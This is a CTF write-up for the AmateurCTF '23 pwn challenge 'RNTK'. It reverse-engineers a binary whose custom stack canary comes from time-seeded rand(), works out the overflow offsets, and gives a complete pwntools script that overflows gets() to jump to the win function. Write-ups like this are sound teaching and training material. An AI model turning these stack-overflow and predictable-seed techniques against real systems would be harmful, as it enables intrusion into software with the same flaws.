Published on

AmateurCTF '23 - Pwn - RNTK

Authors

Challenge Description

check out my random number toolkit!

Author: voxal

Connection info: nc amt.rs 31175

Solution

We were provided with a simple Dockerfile, and a chal binary file

Dockerfile
FROM pwn.red/jail

COPY --from=ubuntu:22.04 / /srv

COPY chal /srv/app/run
COPY flag.txt /srv/app/flag.txt

RUN chmod 755 /srv/app/run

Let's use checksec to see what protections are enabled

chal

Only NX is enabled. Let's try and decompile this binary using Ghidra. We can see the following functions

chal

Let's firstly analyze the main function

NOTE : I have changed the variables inside the functions to make sense for me. These aren't the actual variable names that ghidra provided.

main
void main(void) {
  int randomNumber;
  int choice;

  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  generate_canary();
  while( true ) {
    puts("Please select one of the following actions");
    puts("1) Generate random number");
    puts("2) Try to guess a random number");
    puts("3) Exit");
    choice = 0;
    __isoc99_scanf("%d",&choice);
    getchar();
    if (choice == 3) break;
    if (choice < 4) {
      if (choice == 1) {
        randomNumber = rand();
        printf("%d\n",(ulong)(uint)randomNumber);
      }
      else if (choice == 2) {
        random_guess();
      }
    }
  }
  exit(0);
}

Okay, we can see that the code is fairly simple. It's firstly calling the generate_canary function. Then asking for user input. If the user input is 3, then the program exits. If the user input is 1, then the program generates a random number and prints it. If the user input is 2, then the program calls the random_guess function.

Let's look into the generate_canary function

generate_canary
void generate_canary(void) {
  time_t t;
  t = time((time_t *)0x0);
  srand((uint)t);
  global_canary = rand();
  return;
}

This function is simply setting the time(NULL) to the variable t and the seeding the random function. Then it's setting the global variable global_canary to the random number generated by the rand() function.

I'm going to explain this in a bit more detail why this piece of code allows us to correctly guess the random number that is being generated. Now, according to the srand man page:

The srand() function sets its argument as the seed for a new sequence of pseudo-random integers to be returned by rand(). These sequences are repeatable by calling srand() with the same seed value.

Now, focusing on the last line, we can see that if the provided seed is a same value, we'll get the same set of random numbers. Now, we can see that time_t which is set to NULL is being passed into the variable. This allows the variable to be set to the current EPOCH time. Which; if we run our exploit at the same time, we can guess the number.

Luckily, to check if we're generating a correct random number, they binary has provided us with an option. If we provide the input to be 1, we can simply check if the number we guessed is correct or not.

Before moving forward, we have two more functions we need to look at, let's firstly look at win function. Judging by the name, we can see that this function will simply load the flag and print it.

win
void win(void) {
  char local_58 [72];
  FILE *local_10;

  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("flag file not found");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fgets(local_58,0x40,local_10);
  puts(local_58);
  return;
}

Now, let's look at the random_guess function

random_guess
void random_guess(void) {
  int rnd;
  long strL;
  char buffer [40];
  int iStrL;
  int localCanary;

  printf("Enter in a number as your guess: ");
  localCanary = global_canary;
  gets(buffer);
  strL = strtol(buffer,(char **)0x0,10);
  iStrL = (int)strL;
  if (localCanary != global_canary) {
    puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
    exit(1);
  }
  rnd = rand();
  if (iStrL == rnd) {
    puts("Congrats you guessed correctly!");
  }
  else {
    puts("Better luck next time");
  }
  return;
}

Okay, so let's firstly analyze this function. We can see that it's firstly setting the global variable localCanary to the global variable global_canary. Then it's asking for user input. Then it's converting the user input to a long integer using strtol. Then it's converting the long integer to an integer. Then it's checking if the localCanary is equal to the global_canary. If it's not, then it's printing ***** Stack Smashing Detected ***** : Canary Value Corrupt! and exiting. If it is, then it's generating a random number and checking if the user input is equal to the random number. If it is, then it's printing Congrats you guessed correctly!. If it's not, then it's printing Better luck next time. Okay, let's see what we have to do now

  • We have to guess the global_canary value
  • We have to guess the random value
  • We have to overflow the buffer to get to the win function
  • To overflow the buffer, we need to ensure:
  • The first four bytes are the number we want to guess
  • The next 40 bytes are the junk-payload
  • The next 4 bytes are the localCanary value
  • The next 8 bytes are the junk values
  • The last 8 bytes will contain the address to the win function

I'll be explaining how we got these bytes offsets.

Okay, first thing first. Let's try and create a simple generate function that will actually allow us to guess the random numbers being generated by our program. For that, we'll use the following code

from pwn import *
from ctypes import *

libc = cdll.LoadLibrary('/usr/lib/x86_64-linux-gnu/libc.so')
_time = libc.time(0x0)
libc.srand(_time)

guess = libc.rand()

This will allow us to generate a random number. Now, let's try and connect to the local binary, send 1 as input and then match if our script and the number provided match.

from pwn import *
from ctypes import *


# Setting the binary context:
elf = context.binary = ELF('./chal')
io  = process()

libc = cdll.LoadLibrary(elf.libc.path)
_time = libc.time(0x0)
libc.srand(_time)

guess = libc.rand()

io.sendlineafter(b'Exit\n', b'1')
random = io.recvuntil(b'\n')[:-1].decode()

info(f"We guessed       : {guess}")
info(f"Program generated: {random}")
chal

Now, we have successfully generated the random number. Now, we need to understand how we're going to overflow the buffer. Looking at these two lines of code:

gets(buffer);
strL = strtol(buffer,(char **)0x0,10);

The first line, uses gets function, which is a vulnerable function. However, the next line uses strol which basically converts a string to long.

rnd = rand();
if (iStrL == rnd)

So, the rnd will generate a random number and then compare to the return value of strol. The strol function is

The strtol() function converts the initial part of the string in nptr to a long integer value according to the given base, which must be between 2 and 36 inclusive, or be the special value 0.

Now, this will convert all the input before a space is received and convert that to long. So, we know that we need this to be equal to our guess variable. Next, we need to identify the offset where the buffer will overflow and overwrite the value of localCanary. To do that, we'll be using GDB (pwndbg)

We'll be using cyclic and also setting up breakpoint at the random_guess function. Now, looking at the disassembly, we can see that the localCanary variable is being set at rbp-0x4. So, we'll be using cyclic to generate a pattern and then using cyclic -l to find the offset.

chal chal

Now, we can see that we've found the offset i.e. 44. So, the payload crafting now will be somthing like:

1. The first four bytes are the number we want to guess
2. The next `40` bytes are the junk-payload (0th will be a space)
3. The next `4` bytes are the `localCanary` value
4. The next we'll add a cyclic pattern to find the offset
   NOTE: As I've already told you, in 64bit, we can guess that the offset will be SIZE + 16 i.e. 40 + 16 = 56. So, after 56 bytes, if we write the address of our `win` function, we can get the flag.

I created a local flag.txt with TEST:FLAG as the content to test the payload.

Now, the payload; with knowing that 56 bytes is the offset, and adding the win function will look something like this:

#!/usr/bin/python3
from pwn import *
from ctypes import *

elf = context.binary = ELF("./chal")
io = process()

libc = cdll.LoadLibrary(elf.libc.path)
_time = libc.time(0x0)
libc.srand(_time)

offset = 44
io.sendlineafter(b"Exit\n", b'2')
canary = libc.rand()
guess  = libc.rand()
__init  = f"{guess} AAAA".encode()
payload = __init + b"\x90" * (offset - len(__init)) + canary.to_bytes(4, 'little') + (b"A" * 8) + p64(elf.sym.win)
io.sendlineafter(b"guess: ", payload)
info(io.recv())
chal

Now, we can see that we've successfully exploited the binary and got the flag. Let's try this on the remote server.

chal

Flag: amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}